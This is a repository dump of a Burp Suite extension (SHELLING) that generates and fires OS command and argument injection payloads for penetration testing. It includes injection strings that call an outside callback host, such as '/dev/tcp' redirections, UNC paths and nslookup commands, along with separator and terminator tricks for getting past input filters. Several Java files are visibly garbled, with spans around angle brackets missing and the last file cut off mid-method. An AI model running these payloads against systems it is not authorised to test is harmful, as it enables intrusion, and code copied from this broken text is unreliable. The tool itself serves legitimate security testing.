Repository: PortSwigger/command-injection-attacker
Branch: master
Commit: 3469fec422ae
Files: 51
Total size: 403.5 KB
Directory structure:
gitextract__g4nibil/
├── BappDescription.html
├── BappManifest.bmf
├── DETECTING_ARGUMENT_INJECTION.md
├── Java/
│ └── src/
│ ├── burp/
│ │ ├── BinaryPayloadIssue.java
│ │ ├── BuildUnencodedRequest.java
│ │ ├── BurpExtender.java
│ │ ├── DirectScannerCheck.java
│ │ ├── ShellingScannerCheck.java
│ │ └── ShellingScannerIssue.java
│ └── uk/
│ └── co/
│ └── pentest/
│ └── SHELLING/
│ ├── IntruderPayloadGenerator.java
│ ├── IntruderPayloadGeneratorByte.java
│ ├── PayloadFactory.java
│ ├── SHELLING.java
│ ├── ShellingPanel2.form
│ ├── ShellingPanel2.java
│ ├── ShellingTab.java
│ ├── SimpleDocumentListener.java
│ └── collabSession.java
├── README.md
├── SHELLING.jar
├── TODO.txt
├── VERY_DEPRECATED_AND_NO_LONGER_MAINTAINED_shelling.pl
├── build.gradle
├── settings.gradle
└── test_cases/
├── arginj1.php
├── arginj_escape_shell_cmd.php
├── arginj_wget_doublequote.php
├── arginj_wget_noquotes.php
├── arginj_wget_singlequote.php
├── escape_cmd_shell_direct.php
├── escape_shell_cmd.php
├── lax_domain_name.php
├── no_colon_no_pipe_no_ampersand_no_dollar.php
├── no_space.php
├── no_space_no_colon_no_pipe_no_ampersand.php
├── no_white_chars.php
├── no_white_chars_no_colon_no_pipe_no_ampersand.php
├── no_white_chars_no_colon_no_pipe_no_ampersand_and_quote.php
├── no_white_chars_no_colon_no_pipe_no_ampersand_no_dollar.php
├── no_white_chars_start_alphanum.php
├── no_white_chars_start_digit.php
├── no_white_chars_stop_alnum.php
├── no_white_chars_stop_alphanum.php
├── no_white_chars_windows_blind.php
├── no_white_space_no_colon_no_pipe_no_ampersand_no_dollar.php
├── simple.php
├── simple_nested_quotes1.php
├── simple_no_spaces.php
├── simple_start_alphanum.php
├── simple_stop_alphanum.php
└── tar.php
================================================
FILE CONTENTS
================================================
================================================
FILE: BappDescription.html
================================================
This extension is a customizable payload generator, suitable for detecting OS command injection flaws during dynamic testing - which is usually conducted with no access to the source code or the filesystem. Creation of SUCCESSFUL payloads in this kind of assessments requires a lot of guesswork, especially:
- The eventual syntax of the expression we are injecting into (e.g. quoted expressions)
- Input sanitizing mechanisms rejecting individual characters (e.g. spaces)
- Platform-specific conditions (e.g. there is no "sleep" on windows)
- Callback method (e.g. asynchronous execution, no outbound traffic allowed)
The purpose of creating this tool was to reach the non-trivial OS command injection cases, which stay undetected by generally known and used tools and sets of payloads.
================================================
FILE: BappManifest.bmf
================================================
Uuid: 33e4402eee514724b768c0342abadb8a
ExtensionType: 1
Name: Command Injection Attacker
RepoName: command-injection-attacker
ScreenVersion: 2.0
SerialVersion: 2
MinPlatformVersion: 0
ProOnly: False
Author: Julian Horoszkiewicz, Secarma Ltd.
ShortDescription: Customizable payload generator to detect and exploit command injection flaws during blind testing.
EntryPoint: ./build/libs/shelling.jar
BuildCommand: gradle jar
================================================
FILE: DETECTING_ARGUMENT_INJECTION.md
================================================
# Detecting argument injection
Apart from differences in application's response, we might dalso detect argument injection by:
- reference injection- we supply an argument that, if interpreted properly, will ensue a network response (e.g. a DNS lookup, HTTP/FTP/SMB interaction etc) - this can be bruteforced
- command injection through the target-specific argument - we supply an arbitrary command into a command-specific flag - which is our "base" command in SHELLING (doing whatever the setting is, e.g. a lookup or sleep/selfping) - this is rather hardcoded, e.g. "find / -name " with injection "a --exec nslookup PAYLOAD_MARK.BURP_COLLAB_DOMAIN".
## Reference injection
In the first approach we have no idea what is the target command we are injecting arguments into. The main assumption is that there are only letters, uppercase letters and digits (the last not likely to take any argument values, though) that can represent short flags in formats:
COMMAND -FLAG
COMMAND /FLAG
At this point we do not attempt to bruteforce any full names (long versions of the flags), like:
COMMAND --FULL_FLAGNAME
Good candidates for values are:
smb://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a
file://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a
http://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a
ftp://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a
Additionally these are worth checking too:
>\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\a
> /dev/tcp/wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/80
This might as well work with injections like (plus the nix variant from above):
>\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\a
>\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\a
>\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\a
>\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\a::COMMENT OUT
whereas neither command nor argument separators are allowed, but we can redirect the outpt to an arbitrary local file (which might be very good too :D).
## Command inejction
In this case we check for particular flags in particular binaries (assuming that the matching binary is being executed on the server), e.g. --exec in find, -O in wget or /c in some windows commands.
## Syntax
We should still keep in mind quotes in the final expression syntax might make our payload fail, hence we need to make sure we also create and evaluate proper test cases while developing this feature.
This is all experimental.
================================================
FILE: Java/src/burp/BinaryPayloadIssue.java
================================================
package burp;
public class BinaryPayloadIssue extends ShellingScannerIssue {
private String issueDetail;
private static final String DETAIL_TEMPLATE = "The target seems vulnerable to OS Command Injection.
";
private static int counter=0;
public BinaryPayloadIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details, String feedbackMethod) {
super(cb,exploitRR,details,feedbackMethod);
issueDetail = DETAIL_TEMPLATE;
}
public void appendIssueDetail(String text)
{
this.issueDetail = this.issueDetail+text;
}
@Override
public String getIssueDetail() {
return issueDetail;
}
}
================================================
FILE: Java/src/burp/BuildUnencodedRequest.java
================================================
package burp;
import java.util.Random;
public class BuildUnencodedRequest
{
private Random random = new Random();
private IExtensionHelpers helpers;
BuildUnencodedRequest(IExtensionHelpers helpers)
{
this.helpers = helpers;
}
byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload) throws Exception
{
byte[] canary = buildCanary(payload.length);
byte[] request = iScannerInsertionPoint.buildRequest(canary);
int canaryPos = findCanary(canary, request);
System.arraycopy(payload, 0, request, canaryPos, payload.length);
return request;
}
private byte[] buildCanary(int payloadLength)
{
// random alphanum string, same length as payload
String chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
byte[] canary = new byte[payloadLength];
for(int i = 0; i < payloadLength; i++)
{
canary[i] = (byte) chars.charAt(random.nextInt(chars.length()));
}
return canary;
}
private int findCanary(byte[] canary, byte[] request) throws Exception
{
int canaryPos = helpers.indexOf(request, canary, false, 0, request.length);
if(canaryPos == -1)
{
throw new Exception("Cannot locate canary in request");
}
int canaryPos2 = helpers.indexOf(request, canary, false, canaryPos + 1, request.length);
if(canaryPos2 != -1)
{
throw new Exception("Multiple canary found in request");
}
return canaryPos;
}
}
================================================
FILE: Java/src/burp/BurpExtender.java
================================================
package burp;
import uk.co.pentest.SHELLING.SHELLING;
import uk.co.pentest.SHELLING.ShellingTab;
import uk.co.pentest.SHELLING.PayloadFactory;
/**
* The main entry class that Burp calls to load/unload the extension.
*/
public class BurpExtender implements IBurpExtender, IExtensionStateListener {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
SHELLING.callbacks = callbacks;
callbacks.setExtensionName("SHELLING");
SHELLING.ShellingTab = new ShellingTab();
callbacks.addSuiteTab(SHELLING.ShellingTab);
callbacks.registerExtensionStateListener(this);
callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(SHELLING.ShellingTab, "cmd"));
callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(SHELLING.ShellingTab, "byte2"));
//callbacks.registerScannerCheck(new CollaboratorScannerCheck(callbacks));
callbacks.registerScannerCheck(new DirectScannerCheck(callbacks,SHELLING.ShellingTab));
}
@Override
public void extensionUnloaded() {
}
public static IBurpExtenderCallbacks getBurpCallbacks() {
return SHELLING.callbacks;
}
}
================================================
FILE: Java/src/burp/DirectScannerCheck.java
================================================
/*
The simple scanner check class for SHELLING.
Sends all the payloads one after another, supports DNS (network) and sleep (time) feedback channels. Will also automatically support "file" once it becomes a thing.
*/
package burp;
import java.util.List;
import java.util.ArrayList;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
import uk.co.pentest.SHELLING.IntruderPayloadGenerator;
import uk.co.pentest.SHELLING.ShellingTab;
public class DirectScannerCheck extends ShellingScannerCheck {
private ShellingTab tab;
private boolean last400Avoid=false; // whether the last request made was replied with a 400/something along these lines AND the payload contained a white char known to break things HTTP message format when used as literal
private List issues;
private IHttpRequestResponse attackReq;
public DirectScannerCheck(IBurpExtenderCallbacks cb, ShellingTab tab)
{
super(cb,tab);
this.tab = tab;
checkHttpService = null;
}
@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue) {
return -1;
}
@Override
public List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint)
{
this.issues = null;
if(tab.shellingPanel.scannerChecks==false) return this.issues; // the switch off (scanner is not enabled, goodbye)
//
// We will NO LONGER return scanner issues from this method for DNS and file feedback channels (because they are not direct).
// doActiveScan() will only return scan issues triggered directly by itself, the current running instance (when using file and time as feedback channels).
// All the DNS interactions (synchronous/asynchronous, does not matter at this point) will be watched by the checkCollabSessions() call (triggered by Scanner/Intruder/Export/exit/schedule?)
// which will, in turn, will use the addScanIssue() API (with the help of code taken from this useful project https://github.com/PortSwigger/manual-scan-issues).
// Hence, checkCollabInteractions() no longer needs to return issues. We just call it BEFORE starting the actual new scan (this should happen even if the method is again manual, in order not to miss any asynchronously called stuff from previous "auto" calls) + DURING + AFTER.
this.tab.shellingPanel.checkCollabInteractions(false);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
int port = url.getPort();
String loc="";
int delaySeconds = this.tab.shellingPanel.getDelay();
delaySeconds -= 4; // small, SMALL tuning to avoid false negatives (making this thing a bit more sensitive); ping -c25 localhost took only 24 seconds and thus stayed undetected
// while if this becomes an issue do to slow response times, one can always increase the delay in options if false positives show up
// this delaySeconds shift (4 secs) should be lower the longer the natural response time is
// but we are not going too introduce intelligent tuning, are we? maybe manual?
//
// in our case localhost is very fast, usually this will not happen
boolean https=false;
String host = url.getHost();
if(url.getProtocol()=="https") https=true;
String urlStr = url.getProtocol()+"://"+url.getHost()+":"+url.getPort()+url.getPath();
if(!createCheckHttpService(host,port,https))
{
callbacks.printError("HTTP connection failed");
callbacks.issueAlert("HTTP connection failed");
return issues;
}
// create new generator object with a dedicated collaborator subdomain (if DNS used as feedback channel)
generator = new IntruderPayloadGenerator("cmd", tab, "scanner", baseRequestResponse, insertionPoint.getInsertionPointName());
// the insertion point should deliver the prefix! to bad intruder can't do this
// save the last generator for the purpose of the asynchronous checkForCollabInteractions() method
if(this.tab.shellingPanel.feedbackChannel=="DNS")
{
loc = generator.loc; // this might be empty as we MIGHT be using a different feedback channel
}
generator.setBase(baseRequestResponse);
int counter=0; // we need to limit the frequency with which we are calling the collabSessions check, for the purpose of performance and good manners
while(generator.hasMorePayloads())
{
if(tab.shellingPanel.stopAllRunningScans.isSelected()==true) break; // this should allow us to stop the scan (all of them) by ticking off the box, instantly
byte[] payload = generator.getNextPayloadSmart(insertionPoint.getBaseValue().getBytes(),this.last400Avoid);
// domain name is now automatically provided by the getNextPayload function, used by both scanner and intruder in cooperation with our session tracking system
if(payload.length==1)
{ //payload generation failed, move onto next command
callbacks.printError("Payload generation failed!");
callbacks.issueAlert("Payload generation failed!");
return this.issues;
}
// To avoid Burp's default behaviour with automatic encoding of insertion points in Scanner
// we replaced "byte [] req = insertionPoint.buildRequest(payload);"
// with new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload))
// as adviced by Paj: https://support.portswigger.net/customer/portal/questions/17301079-design-new-extension-problem-with-buildrequest-and-url-encode
// with his code snippet: https://gist.github.com/pajswigger/c1fff3ce6e5637126ff92bf57fba54e1
byte [] req=null;
try {
req = new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, payload);
} catch (Exception ex) {
Logger.getLogger(DirectScannerCheck.class.getName()).log(Level.SEVERE, null, ex);
}
//byte [] req = insertionPoint.buildRequest(payload);
//callbacks.printError((new String(req))+"\n\n");
// 1. time as feedback channel (detecting a delay in the response)
//if(tab.shellingPanel.feedbackChannel=="time")
//{
long millisBefore = System.currentTimeMillis(); // only used for time
attackReq = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),req); // we perform the attack, because we already know the payload
byte[] resp = attackReq.getResponse();
IResponseInfo responseInfo = helpers.analyzeResponse(resp);
if(responseInfo.getStatusCode()==400&&this.tab.shellingPanel.includeLiteralWhites.isSelected()==true&&this.tab.shellingPanel.smart400Avoidance.isSelected()) // baddie avoidance
{
// search the payload
for(int l=0;ldelaySeconds*1000)
{
this.issues = new ArrayList(1);
BinaryPayloadIssue issue;
String details="A potential OS command injection vulnerability was detected using time as the feedback channel.
";
details+="The following payload was supplied to the "+insertionPoint.getInsertionPointName()+" input parameter: "+this.helpers.bytesToString(payload)+"
";
details+="The server took "+Long.toString(diff)+" miliseconds to respond.
";
details+="Please be aware that delayed response can happen for multiple reasons, therefore comparing response time with the expected time of additional delay introduced by payloads like sleep 25 or ping -n25 localhost is prone to false positives. Investigate this instance manually.
If you are getting too many false positivies, try to increase the delay in SHELLING -> Global settings or consider using a different feedback channel, e.g. DNS.";
issue = new BinaryPayloadIssue(callbacks,attackReq,details,"time");
//issue.
this.issues.add((IScanIssue) issue);
// return upon the first hit - we should make this adjustable in the config as well
return this.issues; // we don't worry about interrupting anything, it's just our own direct attack and it was successful, we got what we needed, no need to search for more valid payloads
}
// 2. filesystem as a feedback channel needs to be implemented too
// if set, it will do nothing here - which is good, as it is up to the user to inspect the filesystem
// so far we are good with "time" and "file"
// also, "response" will be handled right here once we start supporting it as a feedback channel
// now "DNS"
// 3. DNS as the feedback channel
// So, the point is we do not want to stop sending payloads only because we encountered some collab interaction
// as we might be dealing with a response to one of the previous payloads - which is good as we have to report it
// but it does not mean we should stop sending payloads unless we can be sure we are dealing with different sessions (different collabLoc).
// the check for collab interactions callback run periodically
// we could rely entirely on the additional call of this we perform before exiting this method
// but the problem is we might get stuck with long scans with the issue staying unnoticed (which would suck soo badly).
if(tab.shellingPanel.feedbackChannel=="DNS")
{
counter++;
if(counter%200==0) // check for feedback every 200 requests
{
this.tab.shellingPanel.checkCollabInteractions(false); // just call it and let it do its job (we could provide it with an argument (locId) so it filters
// them out for us... but again, we want this to he handled separately, so it can ALSO catch Intruder-induced hits as Scanner issues (yup, that's the point of it)
//if(this.issues!=null&&this.issues.size()>0)
//{
// we don't return here because we might be finding a response from a previous scan
// and we don't want it to stop our CURRENT
//}
}
}
}
// OK there is no more payloads left in the generator
// now would be the good time to save the shellings_raw payload set in the collabSession, if we want to track it
// and do likewise with Intruder and export (if the "auto" mode is on)
// we are just about to return null
if(tab.shellingPanel.feedbackChannel=="DNS")
{
try
{
Thread.sleep(10);
this.tab.shellingPanel.checkCollabInteractions(true); // one last check after the scan is done (enforce this last one even if the previous one happened earlier than the limit
}
catch(Exception e)
{
// whateva
}
}
return null;
}
} // end of the class
================================================
FILE: Java/src/burp/ShellingScannerCheck.java
================================================
/*
Parent abstract class for Active Scan checks to detect Command Injection with Burp Collaborator.
Initializes all base values for ScannerCheck sub classes containing issue request/response highlight indices.
*/
package burp;
import java.util.List;
import uk.co.pentest.SHELLING.IntruderPayloadGenerator;
import uk.co.pentest.SHELLING.ShellingTab;
abstract class ShellingScannerCheck implements IScannerCheck {
protected IBurpExtenderCallbacks callbacks;
protected IExtensionHelpers helpers;
//protected ShellingPayloadGenerator generator;
protected IntruderPayloadGenerator generator;
protected IHttpService checkHttpService;
protected static int counter=0;
public ShellingScannerCheck(IBurpExtenderCallbacks cb, ShellingTab tab) {
callbacks = cb;
helpers = callbacks.getHelpers();
}
protected boolean createCheckHttpService(String host, int port, boolean https)
{
if((host==null) || ((port<1) || (port>65535)))
{
return false;
}
else if(host.isEmpty() || ((port<1) || (port>65535)))
{
return false;
}
if(checkHttpService==null)
{ //HttpService object not yet created, attempt to create
checkHttpService = helpers.buildHttpService(host,port,https);
}
else
{
//HttpService object already created, compare to inputted settings and recreate if different
String currHost = checkHttpService.getHost();
int currPort = checkHttpService.getPort();
String currHttps = checkHttpService.getProtocol();
if(!(currHost.equals(host) && (currPort==port) && (currHttps.equalsIgnoreCase("http"+(https ? "s" : "")))))
checkHttpService = helpers.buildHttpService(host,port,https);
}
return true;
}
@Override
public List doPassiveScan(IHttpRequestResponse baseRequestResponse) {
return null;
}
@Override
public abstract int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue);
@Override
public abstract List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint);
}
================================================
FILE: Java/src/burp/ShellingScannerIssue.java
================================================
package burp;
import java.net.URL;
abstract public class ShellingScannerIssue implements IScanIssue {
//IScanIssue fields
private IHttpRequestResponse[] httpMessages;
private IHttpService httpService;
private String remediationBackground;
private URL url;
private String confidence="Certain";
private String feedbackMethod;
private IBurpExtenderCallbacks callbacks;
private IExtensionHelpers helpers;
private String ISSUE_BACKGROUND = "Someone is having a good day.
";
private String REM_BACKGROUND = "It's time to play.
";
//private static int counter=0;
ShellingScannerIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details, String feedbackMethod) {
callbacks = cb;
helpers = callbacks.getHelpers();
url = helpers.analyzeRequest(exploitRR).getUrl();
httpService = exploitRR.getHttpService();
httpMessages = new IHttpRequestResponse[] {exploitRR};
this.feedbackMethod=feedbackMethod;
//counter++;
//this.feedbackChannel="(SHELLING - "+feedbackMethod+" - "+Integer.toString(this.counter)+")";
if(feedbackMethod=="time")
{
this.confidence="Tentative"; // let's be honest with our users
}
ISSUE_BACKGROUND = ISSUE_BACKGROUND + details; // let's see if this will fool the 'duplicate-detection' algorithm or whatever has been making our "details" global up until now
//REM_BACKGROUND = "";
}
//IScanIssue methods
@Override
public String getConfidence() {
return this.confidence;
}
@Override
public IHttpRequestResponse[] getHttpMessages() {
return httpMessages;
}
@Override
public IHttpService getHttpService() {
return httpService;
}
@Override
public String getIssueBackground() {
return ISSUE_BACKGROUND;
}
@Override
public abstract String getIssueDetail();
@Override
public String getIssueName() {
return "Command Injection (SHELLING-"+this.feedbackMethod+")";
}
@Override
public int getIssueType() {
return 0;
}
@Override
public String getRemediationBackground() {
return REM_BACKGROUND;
}
@Override
public String getRemediationDetail() {
return null;
}
@Override
public String getSeverity() {
return "High";
}
@Override
public URL getUrl() {
return url;
}
}
================================================
FILE: Java/src/uk/co/pentest/SHELLING/IntruderPayloadGenerator.java
================================================
package uk.co.pentest.SHELLING;
import burp.BurpExtender;
import burp.IBurpExtenderCallbacks;
import burp.IHttpRequestResponse;
import burp.IIntruderPayloadGenerator;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.ListModel;
/**
*
* @author julianh
*/
public final class IntruderPayloadGenerator implements IIntruderPayloadGenerator
{
IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();
ShellingTab tab;
int payloadIndex; // counter for the getNextPayload and hasMorePayloads methods
boolean payloadMarking; // whether or not to use payload marking
Integer cnt=0; // counter for the payload marker
String payloadType; // cmd or mark
ArrayList shellings; // the final payloads
ArrayList shellings_raw; // payloads before output encoding
ArrayList basePayloads; // my @BASE_PAYLOADS=($PAYL);
String letters="abcdefghijklmnroqprstuvxyzACDEEFGHIJCKLMNROQPRSTUVXYZ";
ArrayList argumentSeparators; // my @ARGUMENT_SEPARATORS=('%20%20',"%09%09");
ArrayList commandSeparators; // my @COMMAND_SEPARATORS=('%0a%0a','%26','|');
ArrayList commandTerminators; // my @COMMAND_TERMINATORS=("%00",'%F0%9F%92%A9');
ArrayList nixCommandSeparators;
ArrayList nixArgumentSeparators;
ArrayList nixCommandTerminators; //
ArrayList winCommandTerminators; //
ArrayList winCommandSeparators;
ArrayList winArgumentSeparators;
ArrayList winEchoArgumentSeparators;
ArrayList prefixes;
ArrayList prefixSuffixes;
ArrayList argInjectionArguments;
String command;
String argument;
String secondArgument="";
String targetOS;
String action;
//String payload; // the base payload in high level form ({COMMAND}{SEPARATOR}{ARGUMENT})
String winPayload; // the base payload in high level form ({COMMAND}{SEPARATOR}{ARGUMENT})
String nixPayload; // will differ if the feedback channel is time (as opposed to DNS, whereas nslookup call looks exactly the same)
String feedbackChannel;
String mode="auto"; // possible values: auto (scanner + intruder), manual (intruder only)
boolean argumentInjection;
boolean last400Avoid=false;
// boolean
public String loc=""; // collaboratorSession location (if in use)
public IntruderPayloadGenerator(String payloadType, ShellingTab tab, String currentAction, IHttpRequestResponse baseRequestResponse, String insertionPointName)
{
// currentAction possible values
// scanner
// intruder
// export
// activeScan is true for Scanner calls only (as opposed to Intruder and external export calls)
// init from the arguments
this.payloadType = payloadType;
this.tab=tab;
if(!this.tab.shellingPanel.argInjectionCheckBox.isSelected()&&!this.tab.shellingPanel.doCommandInjection.isSelected()&&!this.tab.shellingPanel.doTerminalInjection.isSelected())
{
// message box
if(this.tab.shellingPanel.warningDisplayed==false)
{
JOptionPane.showMessageDialog(null, "At least one attack (Command injection, Terminal injection or Argument injection) must be enabled!", "[SHELLING extension] At least one kind of injection payloads must be enabled!", JOptionPane.INFORMATION_MESSAGE);
this.tab.shellingPanel.warningDisplayed=true; // avoid annoying message flooding
}
return;
}
this.tab.shellingPanel.warningDisplayed=false;
this.tab.shellingPanel.curr_generator=this;
this.action=currentAction; // so we know whether it's scanner, intruder or export.
// init from the UI
this.mode=this.tab.shellingPanel.mode; // we know whether auto mode is on for Intruder and export.
this.targetOS=this.tab.shellingPanel.targetOS;
this.command=this.tab.shellingPanel.commandField.getText();
this.argument=this.tab.shellingPanel.argumentField.getText().trim();
this.feedbackChannel=this.tab.shellingPanel.feedbackChannel;
if(this.tab.shellingPanel.payloadMarkingBox.isSelected())
{
this.payloadMarking=true;
}
else
{
this.payloadMarking=false;
}
// other init
shellings=new ArrayList();
shellings_raw=new ArrayList();
basePayloads=new ArrayList();
argumentSeparators=new ArrayList();
argumentSeparators=new ArrayList();
commandSeparators=new ArrayList(); // my @COMMAND_SEPARATORS=('%0a%0a','%26','|');
commandTerminators=new ArrayList(); // my @COMMAND_TERMINATORS=("%00",'%F0%9F%92%A9');
nixCommandSeparators=new ArrayList();
nixArgumentSeparators=new ArrayList();
nixCommandTerminators=new ArrayList();
winCommandTerminators=new ArrayList(); // the new one, not included in the incompatible target-checking thingy
winCommandSeparators=new ArrayList();
winArgumentSeparators=new ArrayList();
winEchoArgumentSeparators=new ArrayList();
prefixes=new ArrayList();
prefixSuffixes=new ArrayList();
this.prefixes.add("PREFIX_HOLDER"); // this will be replaced in a late (getNextPayload() in the IntruderPayloadGenerator) stage by the base payload
this.prefixSuffixes.add("'");
this.prefixSuffixes.add("\"");
// in case of argument injection, we'll set argument to PARAM_INJECTION_STRING ARGUMENT_SEPARATOR EVIL_PARAM , so it will follow the first occurrence of ARGUMENT_SEPARATOR
// OK, let's roll
// mode="auto" switch only makes sense for intruder - it is always "auto" for the scanner
// we need to make sure this setting does not fuck our scanning capabilities up - well, it gets read from the current panel setting, so I guess it's OK
if(mode=="auto"||currentAction=="scanner") // only "auto" mode intruder sessions + scanner sessions are tracked by out collabSessions system!
{
if(feedbackChannel=="DNS")
{
// register a new collaborator session to track
this.loc = this.tab.shellingPanel.collabClient.generatePayload(true); // OK, we need to know this for the scannner at least
// let's grab the requestResponse base object!
this.tab.shellingPanel.collabSessions.add(new collabSession(loc,currentAction, baseRequestResponse, insertionPointName)); // this UNKNOWN thing needs to be replaced with the last known URI seen in Intruder
this.tab.shellingPanel.logOutput("Created a new collaborator session "+loc+" for "+currentAction+".");
// ok, we would really love to find a way to get the base request response for the current intruder attack
// but intruder does not expose this API, we are currently called by its registered payload generator
// which is not being provided with anything useful and there is nothing we can directly call
// which is a pity... all we are trying to do here is to easily track back all asynchronous interactions triggered by Intruder attacks
// automatically - without the user having to manually run and poll the Collaborator Client (this is the entire purpose of the "auto" mode)
// it's gonna be slightly difficult - we can trace the time (of execution), the payload number and the configuration at the time
// plus the actual intruder attack timestamp (time of the new domain "loc" creation by the Collaborator)
// so will still be traceable with Flow, it just sucks ass but it is still better than not having asynchro watch when using custom Intruder/Scanner payloads at all
command="nslookup";
if(payloadMarking)
{
argument="PAYLOAD_MARK.BURP_COLLAB_DOMAIN";
}
else
{
argument="BURP_COLLAB_DOMAIN";
}
winPayload=nixPayload=command+"ARGUMENT_SEPARATOR"+argument;
}
if(feedbackChannel=="time") // time explicitly
{
// so we decided to switch to ping for both platforms, as only -n vs -t parameter differs between nix/win, so at least we have the same
// potential set of "bad characters"
command="ping"; // sleep$IFS$925 was getting false negatives, while the workaround sleep$IFS$9$((25)) requires additional char to work
// ping$IFS$9-c$IFS$91$IFS$9127.0.0.1 has the same problem ($IFS$9 blending into 25 -> $925 and 127 -> $9127
// we'll just simpler syntax (ping -c25 instead of ping -c 25) and localhost instead of 127
// we might wanna introduce more variants of these commands
// like both ping$IFS$9-c25$IFS$9localhost AND sleep$IFS$9$((25))
argument=Integer.toString(this.tab.shellingPanel.getDelay());
secondArgument="localhost";
winPayload="pingARGUMENT_SEPARATOR-nARGUMENT_SEPARATOR"+argument+"ARGUMENT_SEPARATOR127.0.0.2";
nixPayload="pingARGUMENT_SEPARATOR-c"+argument+"ARGUMENT_SEPARATOR"+secondArgument;
// the results are in:
// 25 packets transmitted, 25 received, 0% packet loss, time 24010ms
// rtt min/avg/max/mdev = 0.018/0.031/0.051/0.010 ms
// Execution took 24 seconds ... so, flew under the radar, we need to be more tolerant as 25 pings took only 24 seconds.
// so, we keep the getDelay() value at its current level, we decrease the tolerance margin in the scanner
//
}
/*
if(feedbackChannel=="file")
// once implemented, available both in the auto mode and for the scanner
// cause why not, although it would be a very rare scenario - auto scanning with FS access without knowin the target OS?
// maybe for large-scale assessments involving multiple targets, but why not to support such scan for ALL OS?
// this is one of the channels that requires different command patterns due to lack of compatible "command param" values.
{
}
if(feedbackChannel=="response") // to be implemented
{
}
*/
}
else
{
winPayload=nixPayload=command+"ARGUMENT_SEPARATOR"+argument; // the base payload is the same, as no OS-specific or "auto" trickery
}
this.tab.shellingPanel.logOutput("Base payload: "+nixPayload+"\n");
basePayloads.add(nixPayload);
if(nixPayload!=winPayload)
{
this.tab.shellingPanel.logOutput("Base payload 2: "+winPayload+"\n");
basePayloads.add(winPayload);
} // print the second one if different
// let's initiate the building element variables
// universal argument separators
this.argumentSeparators.add(" "); // space
this.argumentSeparators.add(this.byteToString((byte)0x09)); // 09, horizontal tab
// universal command separators
this.commandSeparators.add(this.byteToString((byte)0x0a)); // newline
this.commandSeparators.add("&"); // ampersand
this.commandSeparators.add("|"); // pipe
// command/string terminators
if(this.tab.shellingPanel.useTerminatorsCheckBox.isSelected())
{
if(this.tab.shellingPanel.includeThePooComboBox.isSelected())
{
this.commandTerminators.add("💩");
}
// the poo character, this should only work with asynchronous strings entering a mysql database first, should be disabled by default
if(this.tab.shellingPanel.useNullByte.isSelected()==true)
{
this.commandTerminators.add(this.byteToString((byte)0x00)); // nullbyte
}
if(this.tab.shellingPanel.osSpecificTerminators.isSelected())
{
this.nixCommandTerminators.add(" #");
this.winCommandTerminators.add("::");
// this.winCommandTerminators.add("::"); WHY IS THIS NOT A THING? we'll have to investigate the incompatibleTypes function and prolly improve it
// before we implement best-effort payloads
}
// get the custom terminators as well
ListModel terminatorModel = this.tab.shellingPanel.terminatorList.getModel();
// also make sure strings are in hex, e.g. by forcefully switching to hex mode
this.tab.shellingPanel.switchToHex();
for(int i=0;i tmpPrefixes=new ArrayList<>();
tmpPrefixes=(ArrayList)prefixes.clone();
for(int i=0;i)this.shellings_raw.clone(); // overwrite the base with different base command_separator variants
}
// 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR
if(this.tab.shellingPanel.secondBasePayloadCheckBox.isSelected())
{
for(int i=0;i();
String domain="BURP_COLLAB_DOMAIN";
if(payloadMarking)
{
domain="PAYLOAD_MARK."+domain;
}
if(this.tab.shellingPanel.injectHTTPCheckBox.isSelected())
{
argInjectionArguments.add("http://"+domain+"/PAYLOAD_MARK");
}
if(this.tab.shellingPanel.injectSmbCheckBox.isSelected())
{
argInjectionArguments.add("smb://"+domain+"/PAYLOAD_MARK");
}
if(this.tab.shellingPanel.injectFileCheckBox.isSelected())
{
argInjectionArguments.add("file://"+domain+"/PAYLOAD_MARK");
}
if(this.tab.shellingPanel.uncPathsCheckBox.isSelected()&&this.targetOS!="nix") // "win" or "all"
{
argInjectionArguments.add("\\\\"+domain+"\\PAYLOAD_MARK");
}
// this method fills the shellings_raw() structure with argument injection payloads
// implemented to make Argument injection independent from Command injection (so either of the attacks or both can be enabled)
// also, the class constructor is getting too big
/*
soon to be implemented, temporarily commented out
if(command.equals("echo"))
{
for(int i=0;i UNC thingy :D
if(this.tab.shellingPanel.uncPathsCheckBox.isSelected())
{
// iterate over prefixes
String myPayload=">\\\\"+domain+"\\PAYLOAD_MARK";
for(int j=0;j-1;i--)
{
if(this.tab.shellingPanel.collabSessions.get(i).collabLoc==this.loc)
{
ret=true;
this.tab.shellingPanel.collabSessions.get(i).setReqResp(base);
}
}
return ret;
}
